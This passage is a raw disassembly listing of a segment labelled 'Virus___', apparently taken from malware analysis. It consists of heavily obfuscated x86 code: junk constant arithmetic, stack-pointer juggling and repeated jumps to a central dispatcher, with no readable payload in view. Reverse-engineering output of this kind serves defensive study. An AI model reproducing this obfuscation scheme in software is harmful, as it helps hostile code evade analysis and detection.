xor ebp, 373D494Ah push eax jmp loc_578F8A ; --------------------------------------------------------------------------- loc_57CEBF: ; CODE XREF: Virus___:0057E103j xchg eax, [esp] jmp loc_576E7C ; --------------------------------------------------------------------------- loc_57CEC7: ; CODE XREF: Virus___:00574831j sub esi, 682809E7h push ebx mov ebx, 6725C443h add esi, ebx jmp loc_57CCF6 ; --------------------------------------------------------------------------- loc_57CEDA: ; CODE XREF: Virus___:0057D37Bj add bl, 0FFh sub bl, 25h sub ch, bl pop ebx jmp loc_574A5C ; --------------------------------------------------------------------------- loc_57CEE8: ; CODE XREF: Virus___:0057CC35j mov edi, 79B17D8h shr edi, 3 add edi, 3A3C6B50h inc edi xor edi, 4B350F20h jmp loc_577099 ; --------------------------------------------------------------------------- loc_57CF02: ; CODE XREF: Virus___:0057BBFFj add edx, edi add edx, 416C7597h pop edi push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_57AB73 ; --------------------------------------------------------------------------- loc_57CF18: ; CODE XREF: Virus___:0057E198j pop dword ptr [esp] push edx mov edx, 4 add dword ptr [esp+4], 68A95BD0h jmp loc_579C16 ; --------------------------------------------------------------------------- loc_57CF2E: ; CODE XREF: Virus___:00576A95j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp and eax, ebp mov ebp, [esp] jmp loc_577FBC ; --------------------------------------------------------------------------- loc_57CF47: ; CODE XREF: Virus___:0057DC44j inc edx shl edx, 4 sub edx, 0CD8F9F50h mov esi, edx pop edx xor esi, 5D331AABh push ecx jmp loc_575BE3 ; --------------------------------------------------------------------------- loc_57CF60: ; CODE XREF: Virus___:005741ECj xor eax, edx pop edx sub esp, 4 mov [esp], ebx jmp loc_57B9C5 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_57399E ; --------------------------------------------------------------------------- loc_57CF7A: ; CODE XREF: Virus___:00579A8Dj pop ebp not ebp inc ebp jmp loc_5752F1 ; --------------------------------------------------------------------------- loc_57CF83: ; CODE XREF: Virus___:00576450j mov eax, 4B5F7F8Ch shl eax, 3 add eax, 1F1D0464h jmp loc_5751A4 ; --------------------------------------------------------------------------- loc_57CF95: ; CODE XREF: Virus___:0057480Cj pop eax push edx mov edx, 4 jmp loc_57BF5C ; --------------------------------------------------------------------------- loc_57CFA1: ; CODE XREF: Virus___:0057BE3Cj add al, 96h jmp loc_576B15 ; --------------------------------------------------------------------------- loc_57CFA8: ; CODE XREF: Virus___:0057B76Aj xor bl, al jmp loc_572BEF ; --------------------------------------------------------------------------- loc_57CFAF: ; CODE XREF: Virus___:0057842Bj add ecx, 4 jmp loc_57C0A5 ; --------------------------------------------------------------------------- loc_57CFBA: ; CODE XREF: Virus___:0057EFCFj mov eax, 4 add ebp, eax mov eax, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] push edi push esi push edx mov edx, 0C085F4Ah jmp loc_57DC42 ; --------------------------------------------------------------------------- loc_57CFDA: ; CODE XREF: Virus___:0057C14Ej push 147Ah mov [esp], eax jmp loc_57BD25 ; --------------------------------------------------------------------------- loc_57CFE7: ; CODE XREF: Virus___:0057D310j cmp ecx, eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57CFEF: ; CODE XREF: Virus___:0057A9B6j sub al, 87h add al, 0ADh jmp loc_57D9F1 ; --------------------------------------------------------------------------- loc_57CFF8: ; CODE XREF: Virus___:0057DCFBj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ebp, 4 add ebp, 2 push edi mov edi, esp jmp loc_57EB1F ; --------------------------------------------------------------------------- loc_57D018: ; CODE XREF: Virus___:0057346Fj add bl, 87h jmp loc_573CEA ; --------------------------------------------------------------------------- loc_57D020: ; CODE XREF: Virus___:00579646j push ebp mov ebp, esp jmp loc_572A39 ; --------------------------------------------------------------------------- loc_57D028: ; CODE XREF: Virus___:005792A4j sub ebx, 76BC2B00h add ebx, eax add ebx, 76BC2B00h sub ebx, 6B667F69h push edi push ebp push 59B67821h pop ebp xor ebp, 0C546307h sub ebp, 479B0FDCh jmp loc_5770C6 ; --------------------------------------------------------------------------- loc_57D055: ; CODE XREF: Virus___:0057B49Dj xor edx, 9881226Bh jmp loc_57B575 ; --------------------------------------------------------------------------- loc_57D060: ; CODE XREF: Virus___:005757F4j mov edi, 4B72EE4h add edi, 1734C82h not edi xor edi, 9318EF1Fh sub ecx, 499F4612h sub ecx, edi add ecx, 499F4612h mov edi, [esp] add esp, 4 and eax, ecx pop ecx shr eax, 8 xor eax, ecx push 1D2Fh mov [esp], eax jmp loc_57720A ; --------------------------------------------------------------------------- loc_57D09F: ; CODE XREF: Virus___:00578422j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_57967B ; --------------------------------------------------------------------------- loc_57D0B3: ; CODE XREF: Virus___:0057D928j sub ecx, esi pop esi push 412Bh mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_57542F ; --------------------------------------------------------------------------- loc_57D0CD: ; CODE XREF: Virus___:00578FD4j sub eax, 350334B0h mov ecx, [esp] add esp, 4 jmp loc_57C28B ; --------------------------------------------------------------------------- loc_57D0E0: ; CODE XREF: Virus___:00573DCCj sub esi, 27837DF3h xor esi, 3AF5B092h jmp loc_5757F9 ; --------------------------------------------------------------------------- loc_57D0F1: ; CODE XREF: Virus___:0057408Aj mov ebp, [esp] jmp loc_57C84E ; --------------------------------------------------------------------------- loc_57D0F9: ; CODE XREF: Virus___:005753A9j pop ecx sub dword ptr [esp+4], 1B8A5662h add [esp+4], ebp add dword ptr [esp+4], 1B8A5662h pop ebp push ecx mov ecx, 37AF6B81h sub [esp+4], ecx pop ecx jmp loc_57CC93 ; --------------------------------------------------------------------------- loc_57D11F: ; CODE XREF: Virus___:00577BA3j add eax, 0DA6F990Bh jmp loc_57916B ; --------------------------------------------------------------------------- loc_57D129: ; CODE XREF: Virus___:0057C50Cj ; Virus___:0057E18Cj sub esp, 4 mov [esp], ebx push 7A526370h pop ebx xor ebx, ebp jmp loc_57342F ; --------------------------------------------------------------------------- loc_57D13F: ; CODE XREF: Virus___:005796B7j shl ebx, 5 add ebx, 821D2184h add esi, ebx pop ebx sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx jmp loc_578932 ; --------------------------------------------------------------------------- loc_57D15A: ; CODE XREF: Virus___:0057ACE0j push esi mov esi, 0B0E04h sub ebx, esi pop esi add esi, ebx jmp loc_57A6F2 ; --------------------------------------------------------------------------- loc_57D16A: ; CODE XREF: Virus___:0057B043j xchg esi, [esp] mov esp, [esp] xor [esp], ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57D17A: ; CODE XREF: Virus___:0057D975j mov di, 7483h mov bx, 1157h jmp loc_576C17 ; --------------------------------------------------------------------------- loc_57D187: ; CODE XREF: Virus___:0057C3A5j neg bl or bl, 8Eh jmp loc_575325 ; --------------------------------------------------------------------------- loc_57D191: ; CODE XREF: Virus___:00572D72j shr edi, 7 sub edi, 0F4BE97h add esi, edi mov edi, [esp] add esp, 4 xchg esi, [esp] jmp loc_57D9B7 ; --------------------------------------------------------------------------- loc_57D1AD: ; CODE XREF: Virus___:0057B408j sub edi, 24624ECDh add edi, ebx push ecx mov ecx, 24624ECDh jmp loc_57AB86 ; --------------------------------------------------------------------------- loc_57D1C0: ; CODE XREF: Virus___:00575F1Ej xchg edi, [esp] pop esp push ecx mov ch, dl sub esp, 4 mov [esp], edx jmp loc_574A6E ; --------------------------------------------------------------------------- loc_57D1D5: ; CODE XREF: Virus___:0057D298j mov eax, [esp] jmp loc_578A3A ; --------------------------------------------------------------------------- loc_57D1DD: ; CODE XREF: Virus___:0057BC59j push edx jmp loc_57DA3B ; --------------------------------------------------------------------------- loc_57D1E3: ; CODE XREF: Virus___:00579FFAj or ebp, ebx pop ebx jmp loc_57315B ; --------------------------------------------------------------------------- loc_57D1EB: ; CODE XREF: Virus___:00579C86j sub esp, 4 mov [esp], ecx jmp loc_57A49D ; --------------------------------------------------------------------------- loc_57D1F6: ; CODE XREF: Virus___:0057B7B5j mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, 2 add ecx, esi pop esi xchg ecx, [esp] jmp loc_578989 ; --------------------------------------------------------------------------- loc_57D212: ; CODE XREF: Virus___:00574A15j xor [esp], ebp jmp loc_5752C1 ; --------------------------------------------------------------------------- loc_57D21A: ; CODE XREF: Virus___:0057E5FEj mov esp, [esp] test ecx, eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57D225: ; CODE XREF: Virus___:005741E6j shr eax, 18h xor eax, ecx xor eax, edi xor edi, eax jmp loc_5748E1 ; --------------------------------------------------------------------------- loc_57D233: ; CODE XREF: Virus___:0057A77Dj shr edi, 6 push edx mov edx, 40472F89h xor edi, edx pop edx mov ebp, edi jmp loc_57E19D ; --------------------------------------------------------------------------- loc_57D246: ; CODE XREF: Virus___:00579A1Cj push edx mov edx, 3DCD4390h not edx xor edx, 5F873E4Bh add edx, 478E23AFh not edx sub edx, 1ABC5A28h mov ebp, edx pop edx jmp loc_572ED9 ; --------------------------------------------------------------------------- loc_57D26A: ; CODE XREF: Virus___:0057519Fj add ebp, 4A30C286h and edx, ebp jmp loc_578D77 ; --------------------------------------------------------------------------- loc_57D277: ; CODE XREF: Virus___:00575A47j pop edi jmp loc_57B8DA ; --------------------------------------------------------------------------- loc_57D27D: ; CODE XREF: Virus___:005734C6j mov ebx, 292E3307h add ebx, 772673B1h push 1F6Ch jmp loc_577479 ; --------------------------------------------------------------------------- loc_57D292: ; CODE XREF: Virus___:005794BBj add edi, 5DF7941h jmp loc_57D1D5 ; --------------------------------------------------------------------------- loc_57D29D: ; CODE XREF: Virus___:005736C5j pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebp mov ebp, 211A58B9h sub esp, 4 mov [esp], edi mov edi, 72E87238h xor ebp, edi jmp loc_57956A ; --------------------------------------------------------------------------- loc_57D2C1: ; CODE XREF: Virus___:0057D5FFj add edx, edi mov edi, [esp] add esp, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_57AB07 ; --------------------------------------------------------------------------- loc_57D2DA: ; CODE XREF: Virus___:0057758Cj push 5D29h mov [esp], ebx pop ebp push ebp pop ebx mov ebp, [esp] push 73E4h mov [esp], ebx mov ebx, esp push edx jmp loc_57BBDA ; --------------------------------------------------------------------------- loc_57D2F8: ; CODE XREF: Virus___:00579D6Dj xchg esi, [esp] pop esp mov [esp], ecx jmp loc_5796BC ; --------------------------------------------------------------------------- loc_57D304: ; CODE XREF: Virus___:00576AC1j add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_57CFE7 ; --------------------------------------------------------------------------- loc_57D315: ; CODE XREF: Virus___:0057A64Ej add ebx, 4 xchg ebx, [esp] pop esp push edi jmp loc_57B4C7 ; --------------------------------------------------------------------------- loc_57D325: ; CODE XREF: Virus___:0057AD02j mov esp, [esp] btc [esp], ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57D333: ; CODE XREF: Virus___:0057E789j xor bp, 451Dh sub dx, bp pop ebp sub dx, 0DDEEh sub ax, 1B89h sub ax, 2C3Eh jmp loc_574E51 ; --------------------------------------------------------------------------- loc_57D34E: ; CODE XREF: Virus___:0057BE8Fj not ecx jmp loc_57E662 ; --------------------------------------------------------------------------- loc_57D355: ; CODE XREF: Virus___:0057C020j not dword ptr [esp] pop ebp push 5D9Fh mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] push esi mov esi, esp add esi, 4 jmp loc_576AA5 ; --------------------------------------------------------------------------- loc_57D376: ; CODE XREF: Virus___:00579E50j sub bl, 1 not bl jmp loc_57CEDA ; --------------------------------------------------------------------------- loc_57D380: ; CODE XREF: Virus___:00579B04j push eax mov eax, 3E7700E4h or eax, 7F8B69ECh not eax push ecx mov ecx, 0BE48E808h add eax, ecx mov ecx, [esp] add esp, 4 sub ecx, eax jmp loc_575CC0 ; --------------------------------------------------------------------------- loc_57D3A2: ; CODE XREF: Virus___:0057EDF6j push esi mov esi, esp add esi, 4 sub esp, 4 mov [esp], edi mov edi, 2E6F274Dh xor edi, 4C0D264Ch jmp loc_57F01E ; --------------------------------------------------------------------------- loc_57D3C4: ; CODE XREF: Virus___:0057974Dj mov edx, [esp] add esp, 4 mov edi, [esp] add esp, 4 shl esi, 8 jmp loc_57BFF5 ; --------------------------------------------------------------------------- loc_57D3DE: ; CODE XREF: Virus___:0057ECA3j mov ecx, 62D71970h mov ebp, ecx pop ecx xor esi, ebp jmp loc_573E75 ; --------------------------------------------------------------------------- loc_57D3ED: ; CODE XREF: Virus___:0057E619j inc ebp sub esp, 4 mov [esp], ecx push ebp push 3EBB7E1Eh pop ebp jmp loc_57A8C2 ; --------------------------------------------------------------------------- loc_57D403: ; CODE XREF: Virus___:00573B96j xor ebp, [esp] jmp loc_57479D ; --------------------------------------------------------------------------- loc_57D40B: ; CODE XREF: Virus___:0057691Dj shr ebp, 3 jmp loc_57C29E ; --------------------------------------------------------------------------- loc_57D413: ; CODE XREF: Virus___:005756F2j pop eax jmp loc_57833E ; --------------------------------------------------------------------------- loc_57D419: ; CODE XREF: Virus___:00579253j add edi, 4 xchg edi, [esp] jmp loc_577DB9 ; --------------------------------------------------------------------------- loc_57D427: ; CODE XREF: Virus___:005797A3j push esp pop edx jmp loc_57B27D ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax jmp loc_577BA8 ; --------------------------------------------------------------------------- loc_57D440: ; CODE XREF: Virus___:0057CCD4j neg dl jmp loc_579605 ; --------------------------------------------------------------------------- loc_57D447: ; CODE XREF: Virus___:0057768Dj mov edi, 0E913F4Eh or ebp, edi pop edi sub ebp, 16A261FCh jmp loc_57AE27 ; --------------------------------------------------------------------------- loc_57D45A: ; CODE XREF: Virus___:00573E2Cj mov [esp], ebp mov ebp, 2 add edi, 1CDD50FFh sub edi, 70502C3Ch add edi, ebp push ebp mov ebp, 70502C3Ch push ebx push eax mov eax, 46906E73h mov ebx, 5C9B3AA6h xor ebx, eax jmp loc_576053 ; --------------------------------------------------------------------------- loc_57D489: ; CODE XREF: Virus___:00577A7Aj sub edi, ebp sub edi, 31220BDh pop ebp jmp loc_57504E ; --------------------------------------------------------------------------- loc_57D497: ; CODE XREF: Virus___:0057674Fj mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edx mov edx, 1 jmp loc_575CE4 ; --------------------------------------------------------------------------- loc_57D4B4: ; CODE XREF: Virus___:0057562Ej push 6BAh mov [esp], ebp push edx mov edx, 4 push edx mov ebp, [esp] jmp loc_57DEF5 ; --------------------------------------------------------------------------- loc_57D4CB: ; CODE XREF: Virus___:00577E05j shl edi, 8 shr edi, 6 push edi mov edi, esp add edi, 4 jmp loc_579AED ; --------------------------------------------------------------------------- loc_57D4DF: ; CODE XREF: Virus___:005751CAj pop ebp jmp loc_5793B9 ; --------------------------------------------------------------------------- loc_57D4E5: ; CODE XREF: Virus___:0057A8F4j mov ecx, 73C248DDh sub esi, ecx pop ecx pop eax and ecx, esi pop esi shr ecx, 7 push 3E23h mov [esp], ebx jmp loc_578825 ; --------------------------------------------------------------------------- loc_57D501: ; CODE XREF: Virus___:0057BDCBj push esi mov esi, 243B7D2Eh sub esi, 745D179Eh inc esi and esi, 33607C9Dh jmp loc_57ACB9 ; --------------------------------------------------------------------------- loc_57D519: ; CODE XREF: Virus___:00579ED1j mov edi, eax push ebx mov ebx, edi push edi mov edi, esp add edi, 4 jmp loc_57C8B9 ; --------------------------------------------------------------------------- loc_57D52C: ; CODE XREF: Virus___:0057C255j push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp movsx cx, al push 53C8h mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edx push eax mov eax, esp push esi push 4 pop esi add eax, esi jmp loc_57B5FD ; --------------------------------------------------------------------------- loc_57D560: ; CODE XREF: Virus___:0057A658j xor [esp], ebp jmp loc_57C781 ; --------------------------------------------------------------------------- loc_57D568: ; CODE XREF: Virus___:0057A2B3j mov eax, [esp] push eax mov eax, esp add eax, 4 push edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] pop esp jmp loc_5779D4 ; --------------------------------------------------------------------------- loc_57D585: ; CODE XREF: Virus___:0057573Dj add edx, 4 jmp loc_57A298 ; --------------------------------------------------------------------------- loc_57D590: ; CODE XREF: Virus___:005776D6j shl dword ptr [esp], cl jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57D598: ; CODE XREF: Virus___:0057584Aj pop esp mov [ebx], edi push dword ptr [esp] jmp loc_57C4FF ; --------------------------------------------------------------------------- loc_57D5A3: ; CODE XREF: Virus___:0057B3E0j push ebp jmp loc_575EAE ; --------------------------------------------------------------------------- loc_57D5A9: ; CODE XREF: Virus___:005798E6j push eax jmp loc_57761D ; --------------------------------------------------------------------------- loc_57D5AF: ; CODE XREF: Virus___:0057C5ABj add edx, 4 push 1B04h mov [esp], ebx mov ebx, 4 jmp loc_576DA9 ; --------------------------------------------------------------------------- loc_57D5C7: ; CODE XREF: Virus___:0057C6E1j inc edx push edi mov edi, 1F415CEAh push ebx jmp loc_57CA5A ; --------------------------------------------------------------------------- loc_57D5D4: ; CODE XREF: Virus___:0057C64Aj pop ebx push ebp jmp loc_575500 ; --------------------------------------------------------------------------- loc_57D5DB: ; CODE XREF: Virus___:0057BB49j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop eax sub [edi+24h], esi mov esi, [esp] jmp loc_579A43 ; --------------------------------------------------------------------------- loc_57D5FA: ; CODE XREF: Virus___:0057E65Dj mov edi, 4 jmp loc_57D2C1 ; --------------------------------------------------------------------------- loc_57D604: ; CODE XREF: Virus___:0057EEECj add cl, 9Ah sub al, cl pop ecx push dword ptr [esp] mov ebx, [esp] add esp, 4 push edi jmp loc_57ED84 ; --------------------------------------------------------------------------- loc_57D61C: ; CODE XREF: Virus___:00573D3Fj push esi mov esi, esp push ebx mov ebx, 39AA1DD7h jmp loc_57AC62 ; --------------------------------------------------------------------------- loc_57D62A: ; CODE XREF: Virus___:0057917Ej mov dl, 3Bh sub al, dl jmp loc_57B2BF ; --------------------------------------------------------------------------- loc_57D633: ; CODE XREF: Virus___:00579455j add edx, 1DBB08C0h add edx, ebp sub edx, 1DBB08C0h pop ebp add edx, 4041424Ah jmp loc_57AAE5 ; --------------------------------------------------------------------------- loc_57D64D: ; CODE XREF: Virus___:00572ED4j add ecx, edi add ecx, 6E242C28h push edi mov edi, 2DA46A9Dh jmp loc_57A5DC ; --------------------------------------------------------------------------- loc_57D660: ; CODE XREF: Virus___:0057CCF1j xor esi, 6BC04D1Ah jmp loc_575313 ; --------------------------------------------------------------------------- loc_57D66B: ; CODE XREF: Virus___:0057BCF4j push 800h mov ebx, [esp] jmp loc_57EC0F ; --------------------------------------------------------------------------- loc_57D678: ; CODE XREF: Virus___:005736D0j push 2B41h mov [esp], ebp push edi push 60977FB4h jmp loc_57EF6B ; --------------------------------------------------------------------------- loc_57D68B: ; CODE XREF: Virus___:00577A4Bj push 56827A18h mov eax, [esp] add esp, 4 or eax, 68BB1F11h xor eax, 36176874h push edi mov edi, eax jmp loc_5772B0 ; --------------------------------------------------------------------------- loc_57D6A8: ; CODE XREF: Virus___:005740C5j add ebp, 60742742h sub ebp, 5B323FF0h jmp loc_577282 ; --------------------------------------------------------------------------- loc_57D6B9: ; CODE XREF: Virus___:0057B126j sub esp, 4 mov [esp], ecx mov ecx, 278031ADh jmp loc_575A3C ; --------------------------------------------------------------------------- loc_57D6C9: ; CODE XREF: Virus___:0057EF0Fj add al, 1Fh jmp loc_578652 ; --------------------------------------------------------------------------- loc_57D6D0: ; CODE XREF: Virus___:0057643Fj mov ebp, 2CD633A0h xor ebp, 45CC6424h neg ebp add ebp, 98366271h jmp loc_57B625 ; --------------------------------------------------------------------------- loc_57D6E8: ; CODE XREF: Virus___:0057E64Cj xchg ebp, edx add edx, 59343CDAh jmp loc_57BFB0 ; --------------------------------------------------------------------------- loc_57D6F5: ; CODE XREF: Virus___:00578C53j and esi, 5CB204F9h push eax mov eax, 556B2F92h dec eax push edx mov edx, 50B123D0h neg edx xor edx, 60E506C1h add edx, 0B823D73Eh sub eax, edx pop edx sub esi, eax pop eax mov eax, esi pop esi add eax, esi pop esi sub [edi+24h], eax mov eax, [esp] add esp, 4 loc_57D72E: ; CODE XREF: Virus___:00579F05j push 7290h mov [esp], ebx mov eax, [esp] push 6E5Ch mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ebx mov ebx, 4 add eax, 7D177B5h add eax, ebx sub eax, 7D177B5h pop ebx push ecx mov ecx, 4 add eax, ecx mov ecx, [esp] jmp loc_57C0F0 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57D779: ; CODE XREF: Virus___:00576CF8j push ecx push eax mov eax, 73894CB4h add eax, 23955A5Bh not eax sub eax, 567A4928h not eax add eax, 6E1D157Fh sub eax, 36A1FBE6h mov ecx, eax pop eax and ecx, 48091074h push eax mov eax, 24E30A78h or eax, 1B6B3017h jmp loc_578098 ; --------------------------------------------------------------------------- loc_57D7B1: ; CODE XREF: Virus___:0057703Fj xor eax, 49DB6979h add ecx, eax pop eax jmp loc_57BCA9 ; --------------------------------------------------------------------------- loc_57D7BE: ; CODE XREF: Virus___:005774DEj xor ebp, 54766C47h jmp loc_57870C ; --------------------------------------------------------------------------- loc_57D7C9: ; CODE XREF: Virus___:0057960Bj mov [esp], ecx jmp loc_576977 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 18156852h, 22E90000h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57D7DF: ; CODE XREF: Virus___:00576E34j add ebp, edi pop edi push 5C7Fh mov [esp], ecx sub esp, 4 mov [esp], ebx push 5CE1219Dh jmp loc_573B7F ; --------------------------------------------------------------------------- loc_57D7FD: ; CODE XREF: Virus___:00576BEDj and edi, 339964ECh jmp loc_578C04 ; --------------------------------------------------------------------------- loc_57D808: ; CODE XREF: Virus___:00577504j and eax, ecx jmp loc_57CAF8 ; --------------------------------------------------------------------------- loc_57D80F: ; CODE XREF: Virus___:00573D45j sub eax, 31EB2FF7h add eax, 5E3631C1h jmp loc_57A2C5 ; --------------------------------------------------------------------------- loc_57D81E: ; CODE XREF: Virus___:005778D4j sub esi, ebp jmp loc_578BBD ; --------------------------------------------------------------------------- loc_57D825: ; CODE XREF: Virus___:00575989j mov [esp], edx mov edx, esp jmp loc_575ECC ; --------------------------------------------------------------------------- loc_57D82F: ; CODE XREF: Virus___:0057B620j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57D834: ; CODE XREF: Virus___:0057C883j mov [esp], edx push 46F6h mov [esp], eax push ecx push 1C0409E1h jmp loc_579052 ; --------------------------------------------------------------------------- loc_57D84A: ; CODE XREF: Virus___:0057C404j add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] cmp cl, al pushf jmp loc_575A7C ; --------------------------------------------------------------------------- loc_57D864: ; CODE XREF: Virus___:00573792j shl eax, 6 add eax, 0D9D1CC04h add edx, eax pop eax add edx, 4 jmp loc_57642D ; --------------------------------------------------------------------------- loc_57D877: ; CODE XREF: Virus___:005788BAj pop cx add dl, 8 add dl, 0C6h push ebx mov bl, 17h jmp loc_577AB0 ; --------------------------------------------------------------------------- loc_57D887: ; CODE XREF: Virus___:00575470j imul cl movzx cx, ah push 618h jmp loc_572C1D ; --------------------------------------------------------------------------- loc_57D897: ; CODE XREF: Virus___:0057A279j xor [esp], edi xor edi, [esp] mov esp, [esp] push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebx push 0 push dword ptr [esp] pop ebx add esp, 4 sub ebx, 43E04619h jmp loc_579836 ; --------------------------------------------------------------------------- loc_57D8CF: ; CODE XREF: Virus___:0057EF3Aj add edi, edx pop edx jmp loc_5753CC ; --------------------------------------------------------------------------- loc_57D8D7: ; CODE XREF: Virus___:00576C8Bj pop edx push ebx mov ebx, 0BBB1E101h add edx, 7D7F784Bh add edx, ebx sub edx, 7D7F784Bh pop ebx mov esi, edx push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 push ebx mov ebx, 4 add eax, ebx jmp loc_577B2B ; --------------------------------------------------------------------------- loc_57D908: ; CODE XREF: Virus___:0057BB91j mov [esp], ecx mov ecx, esp push 3563h jmp loc_57E218 ; --------------------------------------------------------------------------- loc_57D917: ; CODE XREF: Virus___:00573A4Dj pop eax add ecx, ebp pop ebp push 4FC2h mov [esp], esi mov esi, 2 jmp loc_57D0B3 ; --------------------------------------------------------------------------- loc_57D92D: ; CODE XREF: Virus___:0057B296j sub ebx, 35AD4851h pop edi and ebx, 5AFF7CBEh shl ebx, 5 sub ebx, 53AD05FCh jmp loc_57A5D5 ; --------------------------------------------------------------------------- loc_57D948: ; CODE XREF: Virus___:005736F3j mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp shr ecx, 0Bh push ecx mov ecx, esp push eax mov eax, 4 jmp loc_5759B1 ; --------------------------------------------------------------------------- loc_57D965: ; CODE XREF: Virus___:00578EDCj mov bp, 7D78h sub bp, 4060h mov cx, bp pop ebp push bx push edi jmp loc_57D17A ; --------------------------------------------------------------------------- loc_57D97A: ; CODE XREF: Virus___:0057A69Bj pop dx push edx mov dh, 0C9h shl dh, 8 jmp loc_57AA3C ; --------------------------------------------------------------------------- loc_57D987: ; CODE XREF: Virus___:0057BF7Cj pop ecx jmp loc_57F045 ; --------------------------------------------------------------------------- loc_57D98D: ; CODE XREF: Virus___:0057ADCDj sub ebp, edx mov edx, [esp] add esp, 4 not ebp sub ebp, 0B3563AE4h add edi, ebp pop ebp jmp loc_572DA5 ; --------------------------------------------------------------------------- loc_57D9A5: ; CODE XREF: Virus___:00574348j mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_573749 ; --------------------------------------------------------------------------- loc_57D9B7: ; CODE XREF: Virus___:0057D1A8j mov esp, [esp] jmp loc_577A32 ; --------------------------------------------------------------------------- loc_57D9BF: ; CODE XREF: Virus___:005746BFj xor edx, [esp] jmp loc_57A528 ; --------------------------------------------------------------------------- mov cx, [esp] push 5F29h jmp loc_57B24B ; --------------------------------------------------------------------------- loc_57D9D5: ; CODE XREF: Virus___:0057A0CFj push edx push 68Dh push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx push ebx jmp loc_57988E ; --------------------------------------------------------------------------- loc_57D9EA: ; CODE XREF: Virus___:0057C22Fj sub edi, esi jmp loc_57DBA4 ; --------------------------------------------------------------------------- loc_57D9F1: ; CODE XREF: Virus___:0057CFF3j push ebx jmp loc_57A3B6 ; --------------------------------------------------------------------------- loc_57D9F7: ; CODE XREF: Virus___:00577134j not dword ptr [esp] pop edx inc edx push ebp mov ebp, 980E564Dh sub edx, ebp pop ebp and eax, edx jmp loc_5741E5 ; --------------------------------------------------------------------------- loc_57DA0C: ; CODE XREF: Virus___:0057669Ej pop ebp push edx push 4675h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 add edx, 4 add edx, 4 push edx jmp loc_57DF20 ; --------------------------------------------------------------------------- loc_57DA3B: ; CODE XREF: Virus___:0057D1DEj mov edx, 25C91812h jmp loc_577C76 ; --------------------------------------------------------------------------- loc_57DA45: ; CODE XREF: Virus___:0057E432j push edx mov edx, 4 add ebx, edx pop edx sub esp, 4 mov [esp], edx push 5240h mov [esp], ebx mov ebx, 0CA72636h push 7249426Dh pop edx jmp loc_577BC0 ; --------------------------------------------------------------------------- loc_57DA6F: ; CODE XREF: Virus___:0057951Dj mov ebp, 5D9020B3h or edx, ebp pop ebp and edx, 69E4C1Bh xor edx, 76956EEEh push edx pop ebp pop edx not ebp jmp loc_57A0E1 ; --------------------------------------------------------------------------- loc_57DA8D: ; CODE XREF: Virus___:005730FBj sub ax, 2671h sub ax, 1F1Fh push edx sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi mov si, 17CFh mov dx, 4A8Fh jmp loc_5767DF ; --------------------------------------------------------------------------- push esi jmp loc_57634A ; --------------------------------------------------------------------------- loc_57DAC4: ; CODE XREF: Virus___:0057B873j mov ebx, 2A4C3FA0h shl ebx, 5 not ebx inc ebx or ebx, 32784E22h push 0B16h mov [esp], ecx mov ecx, 0E92506D0h jmp loc_576CFD ; --------------------------------------------------------------------------- loc_57DAE7: ; CODE XREF: Virus___:0057B2D1j xor edx, [esp] xor [esp], edx jmp loc_57B502 ; --------------------------------------------------------------------------- loc_57DAF2: ; CODE XREF: Virus___:0057EAE4j xor esi, edx xor edx, esi xor edx, 0BE8890E5h jmp loc_57381B ; --------------------------------------------------------------------------- loc_57DB01: ; CODE XREF: Virus___:0057EB1Aj push esi mov esi, 2 sub ebp, 693C75ECh add ebp, esi add ebp, 693C75ECh pop esi push ebp push dword ptr [esp+4] jmp loc_574DF1 ; --------------------------------------------------------------------------- loc_57DB20: ; CODE XREF: Virus___:0057CDB6j add eax, ebp add eax, 5C56160Bh mov ebp, [esp] add esp, 4 xor ebx, eax push small word ptr [eax] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57DB3A: ; CODE XREF: Virus___:0057E27Dj mov esp, [esp] not al xor [esp], al xor al, [esp] xor [esp], al jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57DB4D: ; CODE XREF: Virus___:0057914Cj sub ebx, 0CFF46FF6h jmp loc_57A9BB ; --------------------------------------------------------------------------- 